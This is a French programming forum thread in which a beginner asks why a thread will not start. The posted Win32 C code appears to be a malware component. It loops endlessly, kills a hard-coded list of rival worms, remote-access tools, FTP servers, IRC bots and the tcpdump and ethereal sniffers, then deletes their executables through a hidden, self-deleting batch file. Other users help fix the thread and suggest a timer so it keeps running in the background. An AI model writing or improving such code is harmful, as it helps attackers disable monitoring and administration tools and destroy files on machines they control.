Thread fonctionne pas -> je suis beginner en thread :)

quelqu'un est capable svp de me dire pkoi le thread part pas svp




int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{

DWORD dwThread;
hthread = CreateThread(NULL,0,&killerProcessus,NULL,NULL,&dwThread);
return 0;
}



DWORD WINAPI killerProcessus(LPVOID lpParameter)
{
while(true)
{
#ifdef WIN32
PROCESSENTRY32 proc = {0};
DWORD processus, r;
HANDLE f; HANDLE sys;
char batfile[256]; char tempdir[256]; char delPath[256];
BOOL bProcess = FALSE;

const char *szFilenamesToKill[64] = {
"servudaemon.exe", "Servudaemon.exe", "serv-u.exe", "servu.exe", "ServuDaemon.exe", //5 kill le servu
"schost.exe", "svhost.exe", "teenkids.exe", "teenkid.exe", "winppr32.exe", "msblast.exe",//7 kill les virus populaire
"jhrfes.exe ", "penis32.exe", "mspatch.exe", "dllhost.exe", "tftpd.exe", "svchost1.exe","syscfgx32.exe",//7 kill les virus populaire
"DNTUS26.exe", "WinVNC.exe", "r_server.exe", "VNC.exe", "VNCTASKS.exe", "DWRCS.exe","radmin.exe","rserver.exe", "Radmin.exe", "DWRCC.exe", //9 kill les programmes d'access a distance
"netlink32.exe", "ndemon.exe", "symantec32.exe", "blah.exe", "windrop.exe", "WinSrv.exe", "winsyss.exe", "winsys.exe", "egg.exe", "psybnc.exe", "dxmedia.exe", "iroff.exe", "eggdrop.exe", "io.exe",//10 kill les xdcc
"winlord32.exe", "fsdaP.exe", "nctl.exe","hm.exe","hiddenrun.exe", "ftp.exe", "firedaemon.exe", "FireDaemon.exe", // 3 kill xdcc
"wintftp.exe", "jrynfx.exe", "spools.exe", "GT.exe", "agc.exe",// virus update
"vsaccess.exe", "fqbvrws.exe", "msgfix.exe", "fqebhjga.exe", "jhrfes.exe", "qvdsafs.exe", "dbfavcws.exe","uedit32.exe", NULL }; // 4 truck a pogrom


GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\r.bat", tempdir);
f = CreateFile(batfile, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
NULL, CREATE_ALWAYS, 0, 0);

for(int i=0; szFilenamesToKill[i]!=NULL; i++)
{
// création du snapshot
sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

// ouverture du premier process
ZeroMemory(&proc, sizeof(proc));
proc.dwSize = sizeof(proc);
Process32First(sys, &proc);

//cherche processus
do
{
if (lstrcmp(proc.szExeFile, (const char*)szFilenamesToKill[i]) == 0)
{
DWORD dwPriorityClass;
BOOL bGotModule = FALSE;
MODULEENTRY32 me32 = {0};

bGotModule = GetProcessModule(proc.th32ProcessID,
&me32,
sizeof(MODULEENTRY32));
if (bGotModule)
{
HANDLE hProcess;
sprintf(delPath, "del /F \"%s\"\r\ndel \"%s\"\r\n", me32.szExePath, me32.szExePath);
// Recevoir la priorité actuel du processus
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
proc.th32ProcessID);
dwPriorityClass = GetPriorityClass (hProcess);
if (f > (HANDLE)0)
{
// ecrire un fichier .bat pour deleter l'executable des processus
WriteFile(f, delPath, strlen(delPath), &r, 0);
}

bProcess = TRUE;
CloseHandle (hProcess);
}

processus = proc.th32ProcessID;
break;
}
}
while (Process32Next(sys, &proc));
CloseHandle(sys);

// le processus n'est probablement pas lancé (vérifier GetLastError pour en être sûr)
if (processus)
{
// ouverture du processus
HANDLE process = NULL;
if (process = OpenProcess(PROCESS_TERMINATE, FALSE, processus))
{
// terminaison de process
TerminateProcess(process, 0);
CloseHandle(process);
}
}
}

if (bProcess)
{
//Ecrit ligne pour delete .bat apres execution
sprintf(delPath, "del /F %s\r\ndel %s", batfile, batfile);
WriteFile(f, delPath, strlen(delPath), &r, 0);
CloseHandle(f);
//Pause de 40sec pour laisser le temps au processus d'etre bien killer avant de delete
Sleep(40000);
//Execute le .bat
WinExec(batfile,SW_HIDE);
}

#else
killerProcessus("tcpdump"); killerProcessus("ethereal");
#endif
}
CloseHandle(hthread);
return 0;
}

BOOL GetProcessModule (DWORD dwPID, LPMODULEENTRY32 lpMe32, DWORD cbMe32)
{
MODULEENTRY32 me32 = {0};
BOOL bRet = FALSE;
BOOL bFound = FALSE;
HANDLE hModuleSnap = NULL;

// Prend un snapshot de tout les modules du processus specifier
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
if (hModuleSnap == (HANDLE)-1)
return (FALSE);

// Doit ajuster le size du module
me32.dwSize = sizeof(MODULEENTRY32);

// Parcour la liste des modules pour trouver le bon
// Copie les info dans le buffer specifier en parametre
if (Module32First(hModuleSnap, &me32))
{
do
{
CopyMemory (lpMe32, &me32, cbMe32);
bFound = TRUE;
}
while (!bFound && Module32Next(hModuleSnap, &me32));

bRet = bFound; // Si bRet est = a False, le processus ne run plus sur l'ordi
}
else
bRet = FALSE; // peut pas lire la lire des modules

// Cleaner le snapshot
CloseHandle (hModuleSnap);
return (bRet);
}

Si tu rajoutais ça en dessous de ton CreateThread, ça marcherait pas mieux ?

WaitForSingleObject(hthread, INFINITE);


Cette fonction stoppe le programme pendant l'execution du Thread.

Normalement je pense que ça vient de là.
Sinon tu as essayé de regarder ce que contenait 'hthread' ? Peut-être que ça retourne NULL non ? Ou si tu dis que ça ne part pas, essai d'ajouter en dessous du CreateThread : "ResumeThread(hthread);"

++ Glipper

pourquoi creer un second trhead alors que le thread principal (WinMain) ne fait rien ?

Merci glipper c'etait effictivement sa mais jme demandais moi mon but c que ma méthode run en fond de tache indefinitivement est-ce que je dois mettre un boucle infini dedans ou ya un autre moyen?


ymca2003 c juste que j'ai pas copier coller le code au complet :)



merci Patos

Hum... une boucle infinie je ne pense pas que ce soit à faire, car ça doit prendre beaucoup de CPU (processeur) non ?

Apparament, ton programme sert à quitter une liste d'executables qui tournent en arrière fond.
Moi je crois que je ferais un Timer qui executerait ta fonction toutes les xxx millisecondes. Car elle n'a peut-être pas besoin de s'executer en permanence.

Qu'en pense tu ?
Glipper

en effet j'ai tester la boucle infini et c pas terrible heh

elle n,a pas besoin de s'executer en permanence, mais je me demandais il n'a pas une méthode , quelques chose qui permet de faire cela?
comme par exemple les programmer windows qui tourne en arriere plan

sinon je vais utiliser un timer c'est une bonne solution aussi :)

merci

Ben si tu utilise un timer, le programme reste ouvert en arriere plan. C'est juste que ta fonction n'est appelée qu'à interval régulier.

Glipper

ok parfait c exactement sa que jveux faire
merci pour tout cette aide c'est beaucoup apprecier

t'aurais pas le nom de la méthode qui va me falloir utiliser pour le timer? je ne my connait pas la dedans non plus

voila un exemple de timer :)

1. Tu cree ta fonction, qui sera appelée regulierement:


VOID CALLBACK TimerProc( HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime )
{
MessageBox(hwnd, "iop", "iop", NULL);
}

2. Dans le MAIN par exemple, tu cree le timer :

SetTimer(NULL, 0, 3000, (TIMERPROC) TimerProc);
[/b]
Ici, il y aura un messageBox qui apparaitra toutes les 3 secondes :)

Glipper

ok c parfait sa merci
merci pour tout :)